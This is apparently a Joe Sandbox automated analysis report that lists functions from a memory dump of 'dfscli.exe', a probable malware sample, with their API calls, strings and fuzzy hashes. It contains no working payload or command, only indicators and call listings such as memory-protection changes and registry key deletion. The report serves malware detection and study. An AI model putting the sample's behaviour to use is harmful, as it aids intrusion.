Function 0040E573 Relevance: 7.6, APIs: 5, Instructions: 92memoryCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 0040E58D
GetSystemInfo.KERNEL32(?,?,?,0000001C), ref: 0040E59E
VirtualQuery.KERNEL32(?,?,0000001C,?,?,0000001C), ref: 0040E5E4
VirtualAlloc.KERNEL32(?,?,00001000,00000004,?,?,0000001C), ref: 0040E622
VirtualProtect.KERNEL32(?,?,00000002,?,?,?,0000001C), ref: 0040E648

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Virtual$Query$AllocInfoProtectSystem
String ID:
API String ID: 4136887677-0
Opcode ID: a1790f47c41936bced6b79c6f2a35fe46a97817065e715ad083577d6fcbb4a13
Instruction ID: 1d15696ca511e8db17db0566d3fc480254b9efd771fcc7e6bea79be161feb034
Opcode Fuzzy Hash: a1790f47c41936bced6b79c6f2a35fe46a97817065e715ad083577d6fcbb4a13
Instruction Fuzzy Hash: EC31C232E00229EBCF20CBA6DD44AEE7B78EB14354F540C76E901F7290D6768E51DB98

Function 0042867C Relevance: 7.6, APIs: 5, Instructions: 70registryCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00428681
RegOpenKeyA.ADVAPI32(?,?,?), ref: 004286AA
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 004286CE
RegDeleteKeyA.ADVAPI32(?,?), ref: 00428761
RegCloseKey.ADVAPI32(?), ref: 0042876F

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: CloseDeleteEnumH_prologOpen
String ID:
API String ID: 3131381098-0
Opcode ID: 3da1cfe8e0bdcdf6bb3580b66696eb1dbd77266631f15c1d34462537c3854d5f
Instruction ID: 3b1ea214686a536e0a2d4bea5f1d2e89e807bfaa4abb09b0d42beed4e779e599
Opcode Fuzzy Hash: 3da1cfe8e0bdcdf6bb3580b66696eb1dbd77266631f15c1d34462537c3854d5f
Instruction Fuzzy Hash: 6521BC32E00128AFDB21DB54DC44BEEB7B4FB08310F0042AAE855B72A0CB388E51DF94

Function 004272B3 Relevance: 7.6, APIs: 5, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00423C94: GetDlgItem.USER32(?,?), ref: 00423CA1

SendMessageA.USER32(?,00000087,00000000,00000000), ref: 004272F4
SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 00427308
SendMessageA.USER32(?,000000F1,00000000,00000000), ref: 0042732E
GetWindow.USER32(?,00000002), ref: 00427338
GetWindowLongA.USER32(00000000,000000F0), ref: 00427348

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: MessageSend$Window$ItemLong
String ID:
API String ID: 1613074769-0
Opcode ID: 97cbf4e57a23a0da11286c9286a259086bce15a030b63461e7beaaeda3af21d2
Instruction ID: fe25e8e1c6ca3775ff26ef85d9a3a830e02c818cf282e5b9224e09687ff5b461
Opcode Fuzzy Hash: 97cbf4e57a23a0da11286c9286a259086bce15a030b63461e7beaaeda3af21d2
Instruction Fuzzy Hash: FC116D7120422AFFDF109F51EC84EAA7B29FF443A4F508126FD154A2A0CB34AD51DBA4

Function 0042C0CB Relevance: 7.6, APIs: 5, Instructions: 58networkCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0042C0D0
inet_addr.WS2_32(?), ref: 0042C10F
gethostbyname.WS2_32(?), ref: 0042C120
htons.WS2_32(?), ref: 0042C137
WSASetLastError.WS2_32(00002726), ref: 0042C177

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: ErrorH_prologLastgethostbynamehtonsinet_addr
String ID:
API String ID: 3864313882-0
Opcode ID: 4b5bd378ccf6621e41f5217fc09554331f5af7f9c8d6f30778e4ca4430e9895b
Instruction ID: 55ba63c0e82c93a398f165e94c6545409e9e25af3e370e3a1538512de266e412
Opcode Fuzzy Hash: 4b5bd378ccf6621e41f5217fc09554331f5af7f9c8d6f30778e4ca4430e9895b
Instruction Fuzzy Hash: 4D116D31A00228DFCB10EFA5E8859EDBBB4FF08754F40456AF405A72A1D7389A51CF99

Function 00427DB5 Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

GetMapMode.GDI32(?,?,?,?,?,?,00407712,?,00000000,?,7694E800), ref: 00427DC5
GetDeviceCaps.GDI32(?,00000058), ref: 00427DFF
GetDeviceCaps.GDI32(?,0000005A), ref: 00427E08

Part of subcall function 00426049: MulDiv.KERNEL32(?,00000000,00000000), ref: 00426089
Part of subcall function 00426049: MulDiv.KERNEL32(00000000,00000000,00000000), ref: 004260A6

MulDiv.KERNEL32(?,000009EC,00000060), ref: 00427E2C
MulDiv.KERNEL32(00000000,000009EC,7694E800), ref: 00427E37

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: CapsDevice$Mode
String ID:
API String ID: 696222070-0
Opcode ID: 4f3f8492715973c01261396f95e4a9daf1e0a3e3b78cb544d1ec3266c9131d15
Instruction ID: 2e381f7fe369a97062e71ca8c090e36ae9c4614a4b77d937c301da42c517efac
Opcode Fuzzy Hash: 4f3f8492715973c01261396f95e4a9daf1e0a3e3b78cb544d1ec3266c9131d15
Instruction Fuzzy Hash: E711C231700624AFDB21AF5ADC44C2EBBA9FF88710752042AFA4597360C775AC028F94

Function 00411DA5 Relevance: 7.5, APIs: 5, Instructions: 37threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,0040F9CC,004108AA,00000000,00431B30,00000008,00410901,?,?,?,00410723,00000004,00431B20,00000010,0041200F), ref: 00411DA7
FlsGetValue.KERNEL32(?,00410723,00000004,00431B20,00000010,0041200F,00000001,0000008C,?,00431A70,00000060), ref: 00411DB5
SetLastError.KERNEL32(00000000,?,00410723,00000004,00431B20,00000010,0041200F,00000001,0000008C,?,00431A70,00000060), ref: 00411E0B

Part of subcall function 004106DA: __lock.LIBCMT ref: 0041071E
Part of subcall function 004106DA: HeapAlloc.KERNEL32(00000008,?,00431B20,00000010,0041200F,00000001,0000008C,?,00431A70,00000060), ref: 0041075C

FlsSetValue.KERNEL32(00000000,?,00410723,00000004,00431B20,00000010,0041200F,00000001,0000008C,?,00431A70,00000060), ref: 00411DDC
GetCurrentThreadId.KERNEL32 ref: 00411DF4

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: ErrorLastValue$AllocCurrentHeapThread__lock
String ID:
API String ID: 3368326513-0
Opcode ID: a2e0e11b31321dbee8d00aaa3ff715e8f4c10284b2315e1796a463f44e233b22
Instruction ID: 2e555c96cbcdb27f1e987eae822a5d52ba16f41a925a0101c91ccab380ceafb0
Opcode Fuzzy Hash: a2e0e11b31321dbee8d00aaa3ff715e8f4c10284b2315e1796a463f44e233b22
Instruction Fuzzy Hash: 9CF0FC31B01711DFD7301FB1AC4A6877BA4FB00762B00563AF982E62B0CB74884147E8

Function 00429D50 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

TlsFree.KERNEL32(006434D8,?,?,00429DC7,00000000,00000001), ref: 00429D76
GlobalHandle.KERNEL32(006125A0), ref: 00429D84
GlobalUnlock.KERNEL32(00000000,?,?,00429DC7,00000000,00000001), ref: 00429D8D
GlobalFree.KERNEL32(00000000), ref: 00429D94
DeleteCriticalSection.KERNEL32(0043F184,?,?,00429DC7,00000000,00000001), ref: 00429D9E

Part of subcall function 00429BB8: EnterCriticalSection.KERNEL32(?), ref: 00429C15
Part of subcall function 00429BB8: LeaveCriticalSection.KERNEL32(?,?), ref: 00429C25
Part of subcall function 00429BB8: LocalFree.KERNEL32(?), ref: 00429C2E
Part of subcall function 00429BB8: TlsSetValue.KERNEL32(?,00000000), ref: 00429C40

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: CriticalFreeGlobalSection$DeleteEnterHandleLeaveLocalUnlockValue
String ID:
API String ID: 1549993015-0
Opcode ID: cda239e742f0368a0fb7abb0ada14223e37cfef73ab97b54edbb53a213948107
Instruction ID: f3a137cc99f00e13c3aa807b9edadb0f25c424e624a33044372182c2df137c47
Opcode Fuzzy Hash: cda239e742f0368a0fb7abb0ada14223e37cfef73ab97b54edbb53a213948107
Instruction Fuzzy Hash: DFF089313005109BD631AB39BC48A7B76BCAF85711B95066AF816D3351D738DC03576D

Function 00412E0F Relevance: 7.5, APIs: 5, Instructions: 32timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00412E2A
GetCurrentProcessId.KERNEL32 ref: 00412E36
GetCurrentThreadId.KERNEL32 ref: 00412E3E
GetTickCount.KERNEL32 ref: 00412E46
QueryPerformanceCounter.KERNEL32(?), ref: 00412E52

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: cf6504c454f8728ec9fffd442ed4ca1bfdc48b7cb4d0adf0ca51413743ca7f8e
Instruction ID: 34e95a29f25a6a58a344066bfba814387cfe7ca9964fe92030387c6fd27a6378
Opcode Fuzzy Hash: cf6504c454f8728ec9fffd442ed4ca1bfdc48b7cb4d0adf0ca51413743ca7f8e
Instruction Fuzzy Hash: 1BF0AF72D401249BCB209BF5ED8C49BB7F8FB183947860571DC11E7120D6349A518BD8

Function 0040B692 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 297memoryCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040B697
CoTaskMemAlloc.OLE32(?,?,?,00000000), ref: 0040B7BE
CoTaskMemFree.OLE32(?,?,00000000), ref: 0040B9D6

Strings

, xrefs: 0040B86E

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Task$AllocFreeH_prolog
String ID:
API String ID: 1522537378-3916222277
Opcode ID: 929f9b5ebdec0014ec1f74a148c8dfc2360b127b466e663828303ad3da1abc5d
Instruction ID: ad970cdde69fdafffcc6cb1f39cb6ed57967dbf095fb62cede4e6b66b95c3350
Opcode Fuzzy Hash: 929f9b5ebdec0014ec1f74a148c8dfc2360b127b466e663828303ad3da1abc5d
Instruction Fuzzy Hash: 06C13970A00608DFCB24DFA9C884AAEB7B5FF88304F20456EE546E7391DB75A945CF58

Function 00408C38 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00408C3D
VariantClear.OLEAUT32(?), ref: 00408DCA

Strings

@, xrefs: 00408CDF
@, xrefs: 00408C8A

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: ClearH_prologVariant
String ID: @$@
API String ID: 1166855276-149943524
Opcode ID: f802b67e1e94a0780ee79d7fc30415edf74127099df7fd6265c2581392f00dde
Instruction ID: ef86999ad6ee6f5cf559b2610e0ac6289f61f51e6328f32c9ffdf30846b8a703
Opcode Fuzzy Hash: f802b67e1e94a0780ee79d7fc30415edf74127099df7fd6265c2581392f00dde
Instruction Fuzzy Hash: 9151B7B1A002199FDB04CFA9C9889EEBBF9FF48314F14456EE506EB250E774A945CF60

Function 004289CD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

GetMenuCheckMarkDimensions.USER32 ref: 004289E3
CreateBitmap.GDI32(?,?,00000001,00000001,?), ref: 00428A85
LoadBitmapA.USER32(00000000,00007FE3), ref: 00428A9D

Strings

, xrefs: 004289EF

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Bitmap$CheckCreateDimensionsLoadMarkMenu
String ID:
API String ID: 2596413745-3916222277
Opcode ID: 570439933a1f319fde7bfb3e8c61f190201eae6d5acc9754518f2f5729fa7a47
Instruction ID: 0d6f9ecc143259180f96a21dbcd0bf36dcd83b506795b2bb56614b56ad416b1c
Opcode Fuzzy Hash: 570439933a1f319fde7bfb3e8c61f190201eae6d5acc9754518f2f5729fa7a47
Instruction Fuzzy Hash: 16213E71F002159FEB10CFB9EC85AAE7BB5EB44301F40053BE500EB291DA749545C794

Function 004129C5 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

___initmbctable.LIBCMT ref: 004129D7
GetModuleFileNameA.KERNEL32(00000000,C:\Windows\SysWOW64\rtmpal\dfscli.exe,00000104,76230A60,00000000,?,?,?,?,0040E931,?,00431A70,00000060), ref: 004129EF

Strings

P5`, xrefs: 004129F5
C:\Windows\SysWOW64\rtmpal\dfscli.exe, xrefs: 004129E1, 004129E6

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: FileModuleName___initmbctable
String ID: C:\Windows\SysWOW64\rtmpal\dfscli.exe$P5`
API String ID: 767393020-246195047
Opcode ID: 101123d8790505b808453694c3784ed6a65f9cded7262870a66330ec90ee2c88
Instruction ID: fe4f9612b987f02c86c9f827e6e88cda74fa422bc8271a69fa383c6bdeb5fba6
Opcode Fuzzy Hash: 101123d8790505b808453694c3784ed6a65f9cded7262870a66330ec90ee2c88
Instruction Fuzzy Hash: 4A110D72E04104EBC720DBA9ED419DB77A8EB553A0F10017FF905E3290E6B49D45CB98

Function 0040BCE2 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 62COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040BCE7

Strings

4C, xrefs: 0040BDAC
TC, xrefs: 0040BDB8
hC, xrefs: 0040BDC9

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: H_prolog
String ID: 4C$TC$hC
API String ID: 3519838083-3679543769
Opcode ID: 6afed17d75f7f19130cad6cc9927d4617893c8389d2f54df1ee85911ac5e8f29
Instruction ID: 9a0aca956e13d3f40c7eff973b07ae7f3d28aa8e56d2adae96ddab1538bd35f0
Opcode Fuzzy Hash: 6afed17d75f7f19130cad6cc9927d4617893c8389d2f54df1ee85911ac5e8f29
Instruction Fuzzy Hash: D831AEB0901B448FD324CF6AC55579AFBE8BFA4308F009A1FD1EA97660C7B86548CF59

Function 0041BC0C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041BC11

Strings

ios_base::badbit set, xrefs: 0041BC43
ios_base::failbit set, xrefs: 0041BC77
ios_base::eofbit set, xrefs: 0041BC8D

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: H_prolog
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3519838083-1866435925
Opcode ID: e1ee01469c0e13428d3df627346f863c2c2c07cf1eaebd9726a8b87e83a413b8
Instruction ID: ade85976828e3d0575b485422f14fa1a4d307c6e90aafc8175f67c845a6277e5
Opcode Fuzzy Hash: e1ee01469c0e13428d3df627346f863c2c2c07cf1eaebd9726a8b87e83a413b8
Instruction Fuzzy Hash: B61136719402089AD714EFE1CA92BDDB774EF04308F64902FA54567282EB7D6A85CB8C

Function 0041C4F7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041C4FC
int.LIBCPMT ref: 0041C522
std::locale::facet::_Incref.LIBCPMT ref: 0041C573

Strings

bad cast, xrefs: 0041C54D

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: H_prologIncrefstd::locale::facet::_
String ID: bad cast
API String ID: 931760182-3145022300
Opcode ID: 290d518eec50fe1289dc1a0e10ba9f74f951f3f8ce5a6758bf498ef8c1fa942f
Instruction ID: 133a5817c143689152e06119c2ce411d04637f97aac18120fb756b8f5cb4bf46
Opcode Fuzzy Hash: 290d518eec50fe1289dc1a0e10ba9f74f951f3f8ce5a6758bf498ef8c1fa942f
Instruction Fuzzy Hash: 0211A3B1E40224A7CB05EBA5CD41AEEB325AF84328F54022FF421A72C1CF3C9A45C799

Function 0041C948 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041C94D
int.LIBCPMT ref: 0041C971

Part of subcall function 0041C9EC: __EH_prolog.LIBCMT ref: 0041C9F1

std::locale::facet::_Incref.LIBCPMT ref: 0041C9C4

Part of subcall function 0040E342: RaiseException.KERNEL32(?,?,?,?,0043F1A0,00000000), ref: 0040E370

Strings

bad cast, xrefs: 0041C99B

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: H_prolog$ExceptionIncrefRaisestd::locale::facet::_
String ID: bad cast
API String ID: 854657108-3145022300
Opcode ID: bd94b3fcc8be1ba825f3ac1fe391770fd2c7786acee73afc308fbf7023a4f06d
Instruction ID: e7bd6d74a278fbe87ccbf35d9b5790177d99eb31d3876a67708471b84b454a11
Opcode Fuzzy Hash: bd94b3fcc8be1ba825f3ac1fe391770fd2c7786acee73afc308fbf7023a4f06d
Instruction Fuzzy Hash: EC1173B2E4011497CF14EBA5D842BEE7334AF44368F50062FF421B72D1CB3C99448798

Function 004282DC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48stringCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 004282FE
PathFindExtensionA.SHLWAPI(?), ref: 00428315
lstrcpyA.KERNEL32(00000000,?), ref: 0042833F

Part of subcall function 00427FF6: GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00428019
Part of subcall function 00427FF6: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 00428024
Part of subcall function 00427FF6: ConvertDefaultLocale.KERNEL32(?), ref: 00428055
Part of subcall function 00427FF6: ConvertDefaultLocale.KERNEL32(?), ref: 0042805D
Part of subcall function 00427FF6: GetProcAddress.KERNEL32(?,GetSystemDefaultUILanguage), ref: 0042806A
Part of subcall function 00427FF6: ConvertDefaultLocale.KERNEL32(?), ref: 00428084
Part of subcall function 00427FF6: ConvertDefaultLocale.KERNEL32(000003FF), ref: 0042808A

Strings

%s.dll, xrefs: 0042831B

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: ConvertDefaultLocale$AddressModuleProc$ExtensionFileFindHandleNamePathlstrcpy
String ID: %s.dll
API String ID: 4178508759-3668843792
